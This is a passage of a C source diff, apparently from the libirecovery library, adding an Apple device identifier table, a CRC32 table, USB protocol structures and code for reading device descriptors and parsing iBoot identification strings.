+ { "iPad17,2", "j818ap", 0x0A, 0x8142, "iPad Pro 11-inch (M5, Cellular)" },
+ { "iPad17,3", "j820ap", 0x0C, 0x8142, "iPad Pro 13-inch (M5, WiFi)" },
+ { "iPad17,4", "j821ap", 0x0E, 0x8142, "iPad Pro 13-inch (M5, Cellular)" },
+ /* Apple TV */
+ { "AppleTV2,1", "k66ap", 0x10, 0x8930, "Apple TV 2" },
+ { "AppleTV3,1", "j33ap", 0x08, 0x8942, "Apple TV 3" },
+ { "AppleTV3,2", "j33iap", 0x00, 0x8947, "Apple TV 3 (2013)" },
+ { "AppleTV5,3", "j42dap", 0x34, 0x7000, "Apple TV 4" },
+ { "AppleTV6,2", "j105aap", 0x02, 0x8011, "Apple TV 4K" },
+ { "AppleTV11,1", "j305ap", 0x08, 0x8020, "Apple TV 4K (2nd gen)" },
+ { "AppleTV14,1", "j255ap", 0x02, 0x8110, "Apple TV 4K (3rd gen)" },
+ /* HomePod */
+ { "AudioAccessory1,1", "b238aap", 0x38, 0x7000, "HomePod (1st gen)" },
+ { "AudioAccessory1,2", "b238ap", 0x1A, 0x7000, "HomePod (1st gen)" },
+ { "AudioAccessory5,1", "b520ap", 0x22, 0x8006, "HomePod mini" },
+ { "AudioAccessory6,1", "b620ap", 0x18, 0x8301, "HomePod (2nd gen)" },
+ /* Apple Watch */
+ { "Watch1,1", "n27aap", 0x02, 0x7002, "Apple Watch 38mm (1st gen)" },
+ { "Watch1,2", "n28aap", 0x04, 0x7002, "Apple Watch 42mm (1st gen)" },
+ { "Watch2,6", "n27dap", 0x02, 0x8002, "Apple Watch Series 1 (38mm)" },
+ { "Watch2,7", "n28dap", 0x04, 0x8002, "Apple Watch Series 1 (42mm)" },
+ { "Watch2,3", "n74ap", 0x0C, 0x8002, "Apple Watch Series 2 (38mm)" },
+ { "Watch2,4", "n75ap", 0x0E, 0x8002, "Apple Watch Series 2 (42mm)" },
+ { "Watch3,1", "n111sap", 0x1C, 0x8004, "Apple Watch Series 3 (38mm Cellular)" },
+ { "Watch3,2", "n111bap", 0x1E, 0x8004, "Apple Watch Series 3 (42mm Cellular)" },
+ { "Watch3,3", "n121sap", 0x18, 0x8004, "Apple Watch Series 3 (38mm)" },
+ { "Watch3,4", "n121bap", 0x1A, 0x8004, "Apple Watch Series 3 (42mm)" },
+ { "Watch4,1", "n131sap", 0x08, 0x8006, "Apple Watch Series 4 (40mm)" },
+ { "Watch4,2", "n131bap", 0x0A, 0x8006, "Apple Watch Series 4 (44mm)" },
+ { "Watch4,3", "n141sap", 0x0C, 0x8006, "Apple Watch Series 4 (40mm Cellular)" },
+ { "Watch4,4", "n141bap", 0x0E, 0x8006, "Apple Watch Series 4 (44mm Cellular)" },
+ { "Watch5,1", "n144sap", 0x10, 0x8006, "Apple Watch Series 5 (40mm)" },
+ { "Watch5,2", "n144bap", 0x12, 0x8006, "Apple Watch Series 5 (44mm)" },
+ { "Watch5,3", "n146sap", 0x14, 0x8006, "Apple Watch Series 5 (40mm Cellular)" },
+ { "Watch5,4", "n146bap", 0x16, 0x8006, "Apple Watch Series 5 (44mm Cellular)" },
+ { "Watch5,9", "n140sap", 0x28, 0x8006, "Apple Watch SE (40mm)" },
+ { "Watch5,10", "n140bap", 0x2A, 0x8006, "Apple Watch SE (44mm)" },
+ { "Watch5,11", "n142sap", 0x2C, 0x8006, "Apple Watch SE (40mm Cellular)" },
+ { "Watch5,12", "n142bap", 0x2E, 0x8006, "Apple Watch SE (44mm Cellular)" },
+ { "Watch6,1", "n157sap", 0x08, 0x8301, "Apple Watch Series 6 (40mm)" },
+ { "Watch6,2", "n157bap", 0x0A, 0x8301, "Apple Watch Series 6 (44mm)" },
+ { "Watch6,3", "n158sap", 0x0C, 0x8301, "Apple Watch Series 6 (40mm Cellular)" },
+ { "Watch6,4", "n158bap", 0x0E, 0x8301, "Apple Watch Series 6 (44mm Cellular)" },
+ { "Watch6,6", "n187sap", 0x10, 0x8301, "Apple Watch Series 7 (41mm)" },
+ { "Watch6,7", "n187bap", 0x12, 0x8301, "Apple Watch Series 7 (45mm)" },
+ { "Watch6,8", "n188sap", 0x14, 0x8301, "Apple Watch Series 7 (41mm Cellular)" },
+ { "Watch6,9", "n188bap", 0x16, 0x8301, "Apple Watch Series 7 (45mm Cellular)" },
+ { "Watch6,10", "n143sap", 0x28, 0x8301, "Apple Watch SE 2 (40mm)" },
+ { "Watch6,11", "n143bap", 0x2A, 0x8301, "Apple Watch SE 2 (44mm)" },
+ { "Watch6,12", "n149sap", 0x2C, 0x8301, "Apple Watch SE 2 (40mm Cellular)" },
+ { "Watch6,13", "n149bap", 0x2E, 0x8301, "Apple Watch SE 2 (44mm Cellular)" },
+ { "Watch6,14", "n197sap", 0x30, 0x8301, "Apple Watch Series 8 (41mm)" },
+ { "Watch6,15", "n197bap", 0x32, 0x8301, "Apple Watch Series 8 (45mm)" },
+ { "Watch6,16", "n198sap", 0x34, 0x8301, "Apple Watch Series 8 (41mm Cellular)" },
+ { "Watch6,17", "n198bap", 0x36, 0x8301, "Apple Watch Series 8 (45mm Cellular)" },
+ { "Watch6,18", "n199ap", 0x26, 0x8301, "Apple Watch Ultra" },
+ { "Watch7,1", "n207sap", 0x08, 0x8310, "Apple Watch Series 9 (41mm)" },
+ { "Watch7,2", "n207bap", 0x0A, 0x8310, "Apple Watch Series 9 (45mm)" },
+ { "Watch7,3", "n208sap", 0x0C, 0x8310, "Apple Watch Series 9 (41mm Cellular)" },
+ { "Watch7,4", "n208bap", 0x0E, 0x8310, "Apple Watch Series 9 (45mm Cellular)" },
+ { "Watch7,5", "n210ap", 0x02, 0x8310, "Apple Watch Ultra 2" },
+ { "Watch7,8", "n217sap", 0x10, 0x8310, "Apple Watch Series 10 (42mm)" },
+ { "Watch7,9", "n217bap", 0x12, 0x8310, "Apple Watch Series 10 (46mm)" },
+ { "Watch7,10", "n218sap", 0x14, 0x8310, "Apple Watch Series 10 (42mm Cellular)" },
+ { "Watch7,11", "n218bap", 0x16, 0x8310, "Apple Watch Series 10 (46mm Cellular)" },
+ { "Watch7,12", "n230ap", 0x22, 0x8310, "Apple Watch Ultra 3" },
+ { "Watch7,13", "n243sap", 0x28, 0x8310, "Apple Watch SE 3 (40mm)" },
+ { "Watch7,14", "n243bap", 0x2A, 0x8310, "Apple Watch SE 3 (44mm)" },
+ { "Watch7,15", "n244sap", 0x2C, 0x8310, "Apple Watch SE 3 (40mm Cellular)" },
+ { "Watch7,16", "n244bap", 0x2E, 0x8310, "Apple Watch SE 3 (44mm Cellular)" },
+ { "Watch7,17", "n227sap", 0x18, 0x8310, "Apple Watch Series 11 (42mm)" },
+ { "Watch7,18", "n227bap", 0x1A, 0x8310, "Apple Watch Series 11 (46mm)" },
+ { "Watch7,19", "n228sap", 0x1C, 0x8310, "Apple Watch Series 11 (42mm Cellular)" },
+ { "Watch7,20", "n228bap", 0x1E, 0x8310, "Apple Watch Series 11 (46mm Cellular)" },
+ /* Apple Silicon Macs */
+ { "ADP3,2", "j273aap", 0x42, 0x8027, "Developer Transition Kit (2020)" },
+ { "Macmini9,1", "j274ap", 0x22, 0x8103, "Mac mini (M1, 2020)" },
+ { "MacBookPro17,1", "j293ap", 0x24, 0x8103, "MacBook Pro (M1, 13-inch, 2020)" },
+ { "MacBookPro18,1", "j316sap", 0x0A, 0x6000, "MacBook Pro (M1 Pro, 16-inch, 2021)" },
+ { "MacBookPro18,2", "j316cap", 0x0A, 0x6001, "MacBook Pro (M1 Max, 16-inch, 2021)" },
+ { "MacBookPro18,3", "j314sap", 0x08, 0x6000, "MacBook Pro (M1 Pro, 14-inch, 2021)" },
+ { "MacBookPro18,4", "j314cap", 0x08, 0x6001, "MacBook Pro (M1 Max, 14-inch, 2021)" },
+ { "MacBookAir10,1", "j313ap", 0x26, 0x8103, "MacBook Air (M1, 2020)" },
+ { "iMac21,1", "j456ap", 0x28, 0x8103, "iMac 24-inch (M1, Two Ports, 2021)" },
+ { "iMac21,2", "j457ap", 0x2A, 0x8103, "iMac 24-inch (M1, Four Ports, 2021)" },
+ { "Mac13,1", "j375cap", 0x04, 0x6001, "Mac Studio (M1 Max, 2022)" },
+ { "Mac13,2", "j375dap", 0x0C, 0x6002, "Mac Studio (M1 Ultra, 2022)" },
+ { "Mac14,2", "j413ap", 0x28, 0x8112, "MacBook Air (M2, 2022)" },
+ { "Mac14,7", "j493ap", 0x2A, 0x8112, "MacBook Pro (M2, 13-inch, 2022)" },
+ { "Mac14,3", "j473ap", 0x24, 0x8112, "Mac mini (M2, 2023)" },
+ { "Mac14,5", "j414cap", 0x04, 0x6021, "MacBook Pro (14-inch, M2 Max, 2023)" },
+ { "Mac14,6", "j416cap", 0x06, 0x6021, "MacBook Pro (16-inch, M2 Max, 2023)" },
+ { "Mac14,8", "j180dap", 0x08, 0x6022, "Mac Pro (2023)" },
+ { "Mac14,9", "j414sap", 0x04, 0x6020, "MacBook Pro (14-inch, M2 Pro, 2023)" },
+ { "Mac14,10", "j416sap", 0x06, 0x6020, "MacBook Pro (16-inch, M2 Pro, 2023)" },
+ { "Mac14,12", "j474sap", 0x02, 0x6020, "Mac mini (M2 Pro, 2023)" },
+ { "Mac14,13", "j475cap", 0x0A, 0x6021, "Mac Studio (M2 Max, 2023)" },
+ { "Mac14,14", "j475dap", 0x0A, 0x6022, "Mac Studio (M2 Ultra, 2023)" },
+ { "Mac14,15", "j415ap", 0x2E, 0x8112, "MacBook Air (M2, 15-inch, 2023)" },
+ { "Mac15,3", "j504ap", 0x22, 0x8122, "MacBook Pro (14-inch, M3, Nov 2023)" },
+ { "Mac15,4", "j433ap", 0x28, 0x8122, "iMac 24-inch (M3, Two Ports, 2023)" },
+ { "Mac15,5", "j434ap", 0x2A, 0x8122, "iMac 24-inch (M3, Four Ports, 2023)" },
+ { "Mac15,6", "j514sap", 0x04, 0x6030, "MacBook Pro (14-inch, M3 Pro, Nov 2023)" },
+ { "Mac15,7", "j516sap", 0x06, 0x6030, "MacBook Pro (16-inch, M3 Pro, Nov 2023)" },
+ { "Mac15,8", "j514cap", 0x44, 0x6031, "MacBook Pro (14-inch, M3 Max, Nov 2023)" },
+ { "Mac15,9", "j516cap", 0x46, 0x6031, "MacBook Pro (16-inch, M3 Max, Nov 2023)" },
+ { "Mac15,10", "j514map", 0x44, 0x6034, "MacBook Pro (14-inch, M3 Max, Nov 2023)" },
+ { "Mac15,11", "j516map", 0x46, 0x6034, "MacBook Pro (16-inch, M3 Max, Nov 2023)" },
+ { "Mac15,12", "j613ap", 0x30, 0x8122, "MacBook Air (13-inch, M3, 2024)" },
+ { "Mac15,13", "j615ap", 0x32, 0x8122, "MacBook Air (15-inch, M3, 2024)" },
+ { "Mac15,14", "j575dap", 0x44, 0x6032, "Mac Studio (M3 Ultra, 2025)" },
+ { "Mac16,1", "j604ap", 0x22, 0x8132, "MacBook Pro (14-inch, M4, Nov 2024)" },
+ { "Mac16,2", "j623ap", 0x24, 0x8132, "iMac 24-inch (M4, Two Ports, 2024)" },
+ { "Mac16,3", "j624ap", 0x26, 0x8132, "iMac 24-inch (M4, Four Ports, 2024)" },
+ { "Mac16,5", "j616cap", 0x06, 0x6041, "MacBook Pro (16-inch, M4 Max, Nov 2024)" },
+ { "Mac16,6", "j614cap", 0x04, 0x6041, "MacBook Pro (14-inch, M4 Max, Nov 2024)" },
+ { "Mac16,7", "j616sap", 0x06, 0x6040, "MacBook Pro (16-inch, M4 Pro, Nov 2024)" },
+ { "Mac16,8", "j614sap", 0x04, 0x6040, "MacBook Pro (14-inch, M4 Pro, Nov 2024)" },
+ { "Mac16,9", "j575cap", 0x02, 0x6041, "Mac Studio (M4 Max, 2025)" },
+ { "Mac16,10", "j773gap", 0x2A, 0x8132, "Mac mini (M4, 2024)" },
+ { "Mac16,11", "j773sap", 0x02, 0x6040, "Mac mini (M4 Pro, 2024)" },
+ { "Mac16,12", "j713ap", 0x2C, 0x8132, "MacBook Air (13-inch, M4, 2025)" },
+ { "Mac16,13", "j715ap", 0x2E, 0x8132, "MacBook Air (15-inch, M4, 2025)" },
+ { "Mac17,2", "j704ap", 0x22, 0x8142, "MacBook Pro (14-inch, M5, 2025)" },
+ /* Apple Silicon VMs (supported by Virtualization.framework on macOS 12) */
+ { "VirtualMac2,1", "vma2macosap", 0x20, 0xFE00, "Apple Virtual Machine 1" },
+ /* Apple T2 Coprocessor */
+ { "iBridge2,1", "j137ap", 0x0A, 0x8012, "Apple T2 iMacPro1,1 (j137)" },
+ { "iBridge2,3", "j680ap", 0x0B, 0x8012, "Apple T2 MacBookPro15,1 (j680)" },
+ { "iBridge2,4", "j132ap", 0x0C, 0x8012, "Apple T2 MacBookPro15,2 (j132)" },
+ { "iBridge2,5", "j174ap", 0x0E, 0x8012, "Apple T2 Macmini8,1 (j174)" },
+ { "iBridge2,6", "j160ap", 0x0F, 0x8012, "Apple T2 MacPro7,1 (j160)" },
+ { "iBridge2,7", "j780ap", 0x07, 0x8012, "Apple T2 MacBookPro15,3 (j780)" },
+ { "iBridge2,8", "j140kap", 0x17, 0x8012, "Apple T2 MacBookAir8,1 (j140k)" },
+ { "iBridge2,10", "j213ap", 0x18, 0x8012, "Apple T2 MacBookPro15,4 (j213)" },
+ { "iBridge2,12", "j140aap", 0x37, 0x8012, "Apple T2 MacBookAir8,2 (j140a)" },
+ { "iBridge2,14", "j152fap", 0x3A, 0x8012, "Apple T2 MacBookPro16,1 (j152f)" },
+ { "iBridge2,15", "j230kap", 0x3F, 0x8012, "Apple T2 MacBookAir9,1 (j230k)" },
+ { "iBridge2,16", "j214kap", 0x3E, 0x8012, "Apple T2 MacBookPro16,2 (j214k)" },
+ { "iBridge2,19", "j185ap", 0x22, 0x8012, "Apple T2 iMac20,1 (j185)" },
+ { "iBridge2,20", "j185fap", 0x23, 0x8012, "Apple T2 iMac20,2 (j185f)" },
+ { "iBridge2,21", "j223ap", 0x3B, 0x8012, "Apple T2 MacBookPro16,3 (j223)" },
+ { "iBridge2,22", "j215ap", 0x38, 0x8012, "Apple T2 MacBookPro16,4 (j215)" },
+ /* Apple Displays */
+ { "AppleDisplay2,1", "j327ap", 0x22, 0x8030, "Studio Display" },
+ /* Apple Vision Pro */
+ { "RealityDevice14,1", "n301ap", 0x42, 0x8112, "Apple Vision Pro" },
+ { "RealityDevice17,1", "n301aap", 0x42, 0x8142, "Apple Vision Pro (M5)" },
+ { NULL, NULL, -1, -1, NULL }
+};
+
+#ifndef USE_DUMMY
+static unsigned int crc32_lookup_t1[256] = {
+ 0x00000000, 0x77073096, 0xEE0E612C, 0x990951BA,
+ 0x076DC419, 0x706AF48F, 0xE963A535, 0x9E6495A3,
+ 0x0EDB8832, 0x79DCB8A4, 0xE0D5E91E, 0x97D2D988,
+ 0x09B64C2B, 0x7EB17CBD, 0xE7B82D07, 0x90BF1D91,
+ 0x1DB71064, 0x6AB020F2, 0xF3B97148, 0x84BE41DE,
+ 0x1ADAD47D, 0x6DDDE4EB, 0xF4D4B551, 0x83D385C7,
+ 0x136C9856, 0x646BA8C0, 0xFD62F97A, 0x8A65C9EC,
+ 0x14015C4F, 0x63066CD9, 0xFA0F3D63, 0x8D080DF5,
+ 0x3B6E20C8, 0x4C69105E, 0xD56041E4, 0xA2677172,
+ 0x3C03E4D1, 0x4B04D447, 0xD20D85FD, 0xA50AB56B,
+ 0x35B5A8FA, 0x42B2986C, 0xDBBBC9D6, 0xACBCF940,
+ 0x32D86CE3, 0x45DF5C75, 0xDCD60DCF, 0xABD13D59,
+ 0x26D930AC, 0x51DE003A, 0xC8D75180, 0xBFD06116,
+ 0x21B4F4B5, 0x56B3C423, 0xCFBA9599, 0xB8BDA50F,
+ 0x2802B89E, 0x5F058808, 0xC60CD9B2, 0xB10BE924,
+ 0x2F6F7C87, 0x58684C11, 0xC1611DAB, 0xB6662D3D,
+ 0x76DC4190, 0x01DB7106, 0x98D220BC, 0xEFD5102A,
+ 0x71B18589, 0x06B6B51F, 0x9FBFE4A5, 0xE8B8D433,
+ 0x7807C9A2, 0x0F00F934, 0x9609A88E, 0xE10E9818,
+ 0x7F6A0DBB, 0x086D3D2D, 0x91646C97, 0xE6635C01,
+ 0x6B6B51F4, 0x1C6C6162, 0x856530D8, 0xF262004E,
+ 0x6C0695ED, 0x1B01A57B, 0x8208F4C1, 0xF50FC457,
+ 0x65B0D9C6, 0x12B7E950, 0x8BBEB8EA, 0xFCB9887C,
+ 0x62DD1DDF, 0x15DA2D49, 0x8CD37CF3, 0xFBD44C65,
+ 0x4DB26158, 0x3AB551CE, 0xA3BC0074, 0xD4BB30E2,
+ 0x4ADFA541, 0x3DD895D7, 0xA4D1C46D, 0xD3D6F4FB,
+ 0x4369E96A, 0x346ED9FC, 0xAD678846, 0xDA60B8D0,
+ 0x44042D73, 0x33031DE5, 0xAA0A4C5F, 0xDD0D7CC9,
+ 0x5005713C, 0x270241AA, 0xBE0B1010, 0xC90C2086,
+ 0x5768B525, 0x206F85B3, 0xB966D409, 0xCE61E49F,
+ 0x5EDEF90E, 0x29D9C998, 0xB0D09822, 0xC7D7A8B4,
+ 0x59B33D17, 0x2EB40D81, 0xB7BD5C3B, 0xC0BA6CAD,
+ 0xEDB88320, 0x9ABFB3B6, 0x03B6E20C, 0x74B1D29A,
+ 0xEAD54739, 0x9DD277AF, 0x04DB2615, 0x73DC1683,
+ 0xE3630B12, 0x94643B84, 0x0D6D6A3E, 0x7A6A5AA8,
+ 0xE40ECF0B, 0x9309FF9D, 0x0A00AE27, 0x7D079EB1,
+ 0xF00F9344, 0x8708A3D2, 0x1E01F268, 0x6906C2FE,
+ 0xF762575D, 0x806567CB, 0x196C3671, 0x6E6B06E7,
+ 0xFED41B76, 0x89D32BE0, 0x10DA7A5A, 0x67DD4ACC,
+ 0xF9B9DF6F, 0x8EBEEFF9, 0x17B7BE43, 0x60B08ED5,
+ 0xD6D6A3E8, 0xA1D1937E, 0x38D8C2C4, 0x4FDFF252,
+ 0xD1BB67F1, 0xA6BC5767, 0x3FB506DD, 0x48B2364B,
+ 0xD80D2BDA, 0xAF0A1B4C, 0x36034AF6, 0x41047A60,
+ 0xDF60EFC3, 0xA867DF55, 0x316E8EEF, 0x4669BE79,
+ 0xCB61B38C, 0xBC66831A, 0x256FD2A0, 0x5268E236,
+ 0xCC0C7795, 0xBB0B4703, 0x220216B9, 0x5505262F,
+ 0xC5BA3BBE, 0xB2BD0B28, 0x2BB45A92, 0x5CB36A04,
+ 0xC2D7FFA7, 0xB5D0CF31, 0x2CD99E8B, 0x5BDEAE1D,
+ 0x9B64C2B0, 0xEC63F226, 0x756AA39C, 0x026D930A,
+ 0x9C0906A9, 0xEB0E363F, 0x72076785, 0x05005713,
+ 0x95BF4A82, 0xE2B87A14, 0x7BB12BAE, 0x0CB61B38,
+ 0x92D28E9B, 0xE5D5BE0D, 0x7CDCEFB7, 0x0BDBDF21,
+ 0x86D3D2D4, 0xF1D4E242, 0x68DDB3F8, 0x1FDA836E,
+ 0x81BE16CD, 0xF6B9265B, 0x6FB077E1, 0x18B74777,
+ 0x88085AE6, 0xFF0F6A70, 0x66063BCA, 0x11010B5C,
+ 0x8F659EFF, 0xF862AE69, 0x616BFFD3, 0x166CCF45,
+ 0xA00AE278, 0xD70DD2EE, 0x4E048354, 0x3903B3C2,
+ 0xA7672661, 0xD06016F7, 0x4969474D, 0x3E6E77DB,
+ 0xAED16A4A, 0xD9D65ADC, 0x40DF0B66, 0x37D83BF0,
+ 0xA9BCAE53, 0xDEBB9EC5, 0x47B2CF7F, 0x30B5FFE9,
+ 0xBDBDF21C, 0xCABAC28A, 0x53B39330, 0x24B4A3A6,
+ 0xBAD03605, 0xCDD70693, 0x54DE5729, 0x23D967BF,
+ 0xB3667A2E, 0xC4614AB8, 0x5D681B02, 0x2A6F2B94,
+ 0xB40BBE37, 0xC30C8EA1, 0x5A05DF1B, 0x2D02EF8D,
+};
+
+#define crc32_step(a,b) \
+ a = (crc32_lookup_t1[(a & 0xFF) ^ ((unsigned char)b)] ^ (a >> 8))
+
+#ifdef _WIN32
+#pragma pack(1)
+typedef struct {
+ uint16_t vid;
+ uint16_t pid;
+ uint32_t unk;
+ char nonces[255];
+ char serial[255];
+ char manufacturer[255];
+ char product[255];
+} KIS_device_info;
+
+typedef struct {
+ uint8_t data[0x4000];
+ uint32_t size;
+ uint32_t unused;
+ uint64_t address;
+} KIS_upload_chunk;
+#pragma pack()
+#else
+#pragma pack(1)
+typedef struct {
+ uint16_t sequence; // A sequence number
+ uint8_t version; // Protocol version
+ uint8_t portal; // The "portal" to connect to
+ uint8_t argCount; // Number of arguments
+ uint8_t indexLo; // An index
+ uint8_t indexHiRplSizeLo; // High 2 bits of index + low 6 bytes of reply size
+ uint8_t rplSizeHi; // Reply size high bits, number of words the device should send
+ uint32_t reqSize; // Size of the complete request, including the arguments and payload, excluding the header
+ // Followed by arguments and payload data
+} KIS_req_header;
+
+typedef struct {
+ KIS_req_header hdr;
+ uint32_t value;
+} KIS_config_wr32;
+
+typedef struct {
+ uint8_t bLength ; ///< Size of this descriptor in bytes.
+ uint8_t bDescriptorType ; ///< DEVICE Descriptor Type.
+ uint16_t bcdUSB ; ///< BUSB Specification Release Number in Binary-Coded Decimal (i.e., 2.10 is 210H). This field identifies the release of the USB Specification with which the device and its descriptors are compliant.
+
+ uint8_t bDeviceClass ; ///< Class code (assigned by the USB-IF). \li If this field is reset to zero, each interface within a configuration specifies its own class information and the various interfaces operate independently. \li If this field is set to a value between 1 and FEH, the device supports different class specifications on different interfaces and the interfaces may not operate independently. This value identifies the class definition used for the aggregate interfaces. \li If this field is set to FFH, the device class is vendor-specific.
+ uint8_t bDeviceSubClass ; ///< Subclass code (assigned by the USB-IF). These codes are qualified by the value of the bDeviceClass field. \li If the bDeviceClass field is reset to zero, this field must also be reset to zero. \li If the bDeviceClass field is not set to FFH, all values are reserved for assignment by the USB-IF.
+ uint8_t bDeviceProtocol ; ///< Protocol code (assigned by the USB-IF). These codes are qualified by the value of the bDeviceClass and the bDeviceSubClass fields. If a device supports class-specific protocols on a device basis as opposed to an interface basis, this code identifies the protocols that the device uses as defined by the specification of the device class. \li If this field is reset to zero, the device does not use class-specific protocols on a device basis. However, it may use classspecific protocols on an interface basis. \li If this field is set to FFH, the device uses a vendor-specific protocol on a device basis.
+ uint8_t bMaxPacketSize0 ; ///< Maximum packet size for endpoint zero (only 8, 16, 32, or 64 are valid). For HS devices is fixed to 64.
+
+ uint16_t idVendor ; ///< Vendor ID (assigned by the USB-IF).
+ uint16_t idProduct ; ///< Product ID (assigned by the manufacturer).
+ uint16_t bcdDevice ; ///< Device release number in binary-coded decimal.
+ uint8_t iManufacturer ; ///< Index of string descriptor describing manufacturer.
+ uint8_t iProduct ; ///< Index of string descriptor describing product.
+ uint8_t iSerialNumber ; ///< Index of string descriptor describing the device's serial number.
+
+ uint8_t bNumConfigurations ; ///< Number of possible configurations.
+} usb_device_descriptor;
+
+typedef struct {
+ KIS_req_header hdr;
+ union {
+ struct {
+ uint32_t tag;
+ uint32_t unk1;
+ uint32_t maxUploadSize;
+ uint32_t maxDownloadSize; // maybe???
+ uint64_t rambase;
+ uint32_t nonceOffset;
+ uint32_t pad;
+ uint8_t unkpad[0x20];
+ usb_device_descriptor deviceDescriptor;
+ };
+ uint8_t deviceInfo[0x300];
+ };
+ uint32_t rspsize;
+ uint32_t statuscode;
+} KIS_device_info;
+
+typedef struct {
+ KIS_req_header hdr;
+ uint64_t address;
+ uint32_t size;
+ uint8_t data[0x4000];
+} KIS_upload_chunk;
+
+typedef struct {
+ KIS_req_header hdr;
+ uint32_t size; // Number of bytes read/written
+ uint32_t status;
+} KIS_generic_reply;
+#pragma pack()
+#endif
+
+#pragma pack(1)
+typedef struct {
+ uint16_t cmdcode;
+#define MSG_VERSION_QUERY 0x000
+#define MSG_ECHO 0x801
+#define MSG_DUMP_BUFFER 0x802
+#define MSG_SEND_COMMAND 0x803
+#define MSG_READ_FILE 0x804
+#define MSG_SEND_FILE 0x805
+#define MSG_CRC 0x807
+#define MSG_ACK 0x808
+#define MSG_REJECT 0x809
+ uint16_t magic; // always 0x1234
+ uint32_t size;
+ uint32_t loadaddr; // 0x0 for commands, 0x09000000 for files
+} legacyCMD;
+#pragma pack()
+
+static THREAD_T th_event_handler = THREAD_T_NULL;
+struct collection listeners;
+static mutex_t listener_mutex;
+struct collection devices;
+static mutex_t device_mutex;
+#ifndef _WIN32
+#ifdef HAVE_IOKIT
+static CFRunLoopRef iokit_runloop = NULL;
+#else
+static libusb_context* irecv_hotplug_ctx = NULL;
+#endif
+#endif
+
+static void _irecv_deinit(void)
+{
+#ifndef USE_DUMMY
+#ifndef _WIN32
+#ifndef HAVE_IOKIT
+ if (libirecovery_context != NULL) {
+ libusb_exit(libirecovery_context);
+ libirecovery_context = NULL;
+ }
+#endif
+#endif
+ collection_free(&listeners);
+ mutex_destroy(&listener_mutex);
+#endif
+}
+
+INITIALIZER(_irecv_init)
+{
+ char* dbglvl = getenv("LIBIRECOVERY_DEBUG_LEVEL");
+ if (dbglvl) {
+ libirecovery_debug = strtol(dbglvl, NULL, 0);
+ irecv_set_debug_level(libirecovery_debug);
+ }
+#ifndef USE_DUMMY
+#ifndef _WIN32
+#ifndef HAVE_IOKIT
+ libusb_init(&libirecovery_context);
+#endif
+#endif
+ collection_init(&listeners);
+ mutex_init(&listener_mutex);
+#endif
+ atexit(_irecv_deinit);
+}
+
+#ifdef HAVE_IOKIT
+static int iokit_get_string_descriptor_ascii(irecv_client_t client, uint8_t desc_index, unsigned char * buffer, int size)
+{
+ IOReturn result;
+ IOUSBDevRequest request;
+ unsigned char descriptor[256];
+
+ request.bmRequestType = USBmakebmRequestType(kUSBIn, kUSBStandard, kUSBDevice);
+ request.bRequest = kUSBRqGetDescriptor;
+ request.wValue = (kUSBStringDesc << 8); // | desc_index;
+ request.wIndex = 0; // All languages 0x409; // language
+ request.wLength = sizeof(descriptor) - 1;
+ request.pData = descriptor;
+ request.wLenDone = 0;
+
+ result = (*client->handle)->DeviceRequest(client->handle, &request);
+ if (result == kIOReturnNoDevice)
+ return IRECV_E_NO_DEVICE;
+ if (result == kIOReturnNotOpen)
+ return IRECV_E_USB_STATUS;
+ if (result != kIOReturnSuccess)
+ return IRECV_E_UNKNOWN_ERROR;
+
+ if (descriptor[0] >= 4) { // && descriptor[2] == 0x9 && descriptor[3] == 0x4) {
+
+ request.wValue = (kUSBStringDesc << 8) | desc_index;
+ request.wIndex = descriptor[2] + (descriptor[3] << 8);
+ request.wLenDone = 0;
+ result = (*client->handle)->DeviceRequest(client->handle, &request);
+
+ if (result == kIOReturnNoDevice)
+ return IRECV_E_NO_DEVICE;
+ if (result == kIOReturnNotOpen)
+ return IRECV_E_USB_STATUS;
+ if (result != kIOReturnSuccess)
+ return IRECV_E_UNKNOWN_ERROR;
+
+ int i = 2, j = 0;
+ for ( ; i < descriptor[0]; i += 2, j += 1) {
+ buffer[j] = descriptor[i];
+ }
+ buffer[j] = 0;
+
+ return request.wLenDone;
+ }
+ return IRECV_E_UNKNOWN_ERROR;
+}
+#endif
+
+static int irecv_get_string_descriptor_ascii(irecv_client_t client, uint8_t desc_index, unsigned char * buffer, int size)
+{
+#ifndef _WIN32
+#ifdef HAVE_IOKIT
+ return iokit_get_string_descriptor_ascii(client, desc_index, buffer, size);
+#else
+ return libusb_get_string_descriptor_ascii(client->handle, desc_index, buffer, size);
+#endif
+#else
+ irecv_error_t ret;
+ unsigned short langid = 0;
+ unsigned char data[256];
+ int di, si;
+ memset(data, 0, sizeof(data));
+ memset(buffer, 0, size);
+
+ ret = irecv_usb_control_transfer(client, 0x80, 0x06, (0x03 << 8) | desc_index, langid, data, sizeof(data)-1, USB_TIMEOUT);
+
+ if (ret < 0) return ret;
+ if (data[1] != 0x03) return IRECV_E_UNKNOWN_ERROR;
+ if (data[0] > ret) return IRECV_E_UNKNOWN_ERROR;
+
+ for (di = 0, si = 2; si < data[0]; si += 2) {
+ if (di >= (size - 1)) break;
+ if (data[si + 1]) {
+ /* high byte */
+ buffer[di++] = '?';
+ } else {
+ buffer[di++] = data[si];
+ }
+ }
+ buffer[di] = 0;
+
+ return di;
+#endif
+}
+
+static void irecv_load_device_info_from_iboot_string(irecv_client_t client, const char* iboot_string)
+{
+ if (!client || !iboot_string) {
+ return;
+ }
+
+ memset(&client->device_info, '\0', sizeof(struct irecv_device_info));
+
+ client->device_info.serial_string = strdup(iboot_string);
+
+ char* ptr;
+
+ ptr = strstr(iboot_string, "CPID:");
+ if (ptr != NULL) {
+ sscanf(ptr, "CPID:%x", &client->device_info.cpid);
+ client->device_info.have_cpid = 1;
+ } else {
+ // early iOS 1 doesn't identify itself
+ client->device_info.cpid = 0x8900;
+ }
+
+ ptr = strstr(iboot_string, "CPRV:");
+ if (ptr != NULL) {
+ sscanf(ptr, "CPRV:%x", &client->device_info.cprv);
+ client->device_info.have_cprv = 1;
+ }
+
+ ptr = strstr(iboot_string, "CPFM:");
+ if (ptr != NULL) {
+ sscanf(ptr, "CPFM:%x", &client->device_info.cpfm);
+ client->device_info.have_cpfm = 1;
+ }
+
+ ptr = strstr(iboot_string, "SCEP:");
+ if (ptr != NULL) {
+ sscanf(ptr, "SCEP:%x", &client->device_info.scep);
+ client->device_info.have_scep = 1;
+ }
+
+ ptr = strstr(iboot_string, "BDID:");
+ if (ptr != NULL) {
+ uint64_t bdid = 0;
+ sscanf(ptr, "BDID:%" SCNx64, &bdid);
+ client->device_info.bdid = (unsigned int)bdid;
+ client->device_info.have_bdid = 1;
+ }
+
+ ptr = strstr(iboot_string, "ECID:");
+ if (ptr != NULL) {
